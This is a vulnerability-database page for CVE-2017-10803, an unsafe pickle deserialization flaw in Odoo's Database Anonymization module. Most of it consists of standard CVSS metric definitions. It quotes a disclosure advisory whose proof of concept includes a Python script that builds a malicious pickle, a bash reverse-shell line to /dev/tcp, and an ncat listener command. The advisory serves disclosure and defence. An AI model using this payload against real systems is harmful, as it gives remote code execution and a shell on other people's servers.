CVE-2017-10803 : Detail

CVE-2017-10803

6.5
/
Medium
A08-Soft and Data Integrity Fail
1.55%V4
Local
2017-07-04
16h00 +00:00
2017-07-04
15h57 +00:00
CVE.org
NVD
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CVE Descriptions

In Odoo 8.0, Odoo Community Edition 9.0 and 10.0, and Odoo Enterprise Edition 9.0 and 10.0, insecure handling of anonymization data in the Database Anonymization module allows remote authenticated privileged users to execute arbitrary Python code, because unpickle is used.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-502 Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 6.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 8.5 AV:N/AC:M/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44064

Publication date : 2017-06-29 22h00 +00:00
Author : SecuriTeam
EDB Verified : No

## Vulnerability Summary The following advisory describe arbitrary Python code execution found in Odoo CRM version 10.0 Odoo is a suite of open source business apps that cover all your company needs: CRM, eCommerce, accounting, inventory, point of sale, project management, etc. Odoo’s unique value proposition is to be at the same time very easy to use and fully integrated. ## Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. ## Vendor response Odoo has done a private disclosure for the issue we reported, and the patch was merged in all supported branches. CVE: CVE-2017-10803 The full public disclosure will be available at https://github.com/odoo/odoo/issues/17898. ## Vulnerability Details One of the core Odoo modules, Database Anonymization, allows an administrator to anonymize the contents of the Odoo database. The module does this by serializing the contents of the existing database using Python’s pickle module into a backup file before modifying the contents of the database. The administrator can then de-anonymize the database by loading the pickled backup file. Python’s pickle module can be made to execute arbitrary Python code when loading an attacker controlled pickle file. With this, an administrator can execute arbitrary Python code with the same privilege level as the Odoo webapp by anonymizing the database then attempt the de-anonymization process with a crafted pickle file. ## Proof of Concept In order to exploit the vulnerability, you should navigate to the Apps page (the link is in the navigation bar at the top and search for and install “Database Anonymization” in the search bar. We have to deselect the “Apps” filter in the search bar for it to show up. Once we have the module installed, we navigate to the settings page and select “Anonymize database” under “Database anonymization” and click on the “Anonymize Database” button. Next, we refresh the page and navigate to the same page under settings. We upload the “exploit.pickle” file generated our script and click on “Reverse the Database Anonymization” button. We should have a reverse shell. The following Python file generate a malicious pickle file that attempts (via bash) to connect back to a listener on port 8000: ``` import cPickle import os import base64 import pickletools class Exploit(object): def __reduce__(self): return (os.system, (("bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"),)) with open("exploit.pickle", "wb") as f: cPickle.dump(Exploit(), f, cPickle.HIGHEST_PROTOCOL) ``` We then use netcat listener on port 8000: ``` ncat -nlvp 8000 ```

Products Mentioned

Configuraton 0

Odoo>>Odoo >> Version 8.0

Odoo>>Odoo >> Version 9.0

Odoo>>Odoo >> Version 9.0

Odoo>>Odoo >> Version 10.0

Odoo>>Odoo >> Version 10.0

References

The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.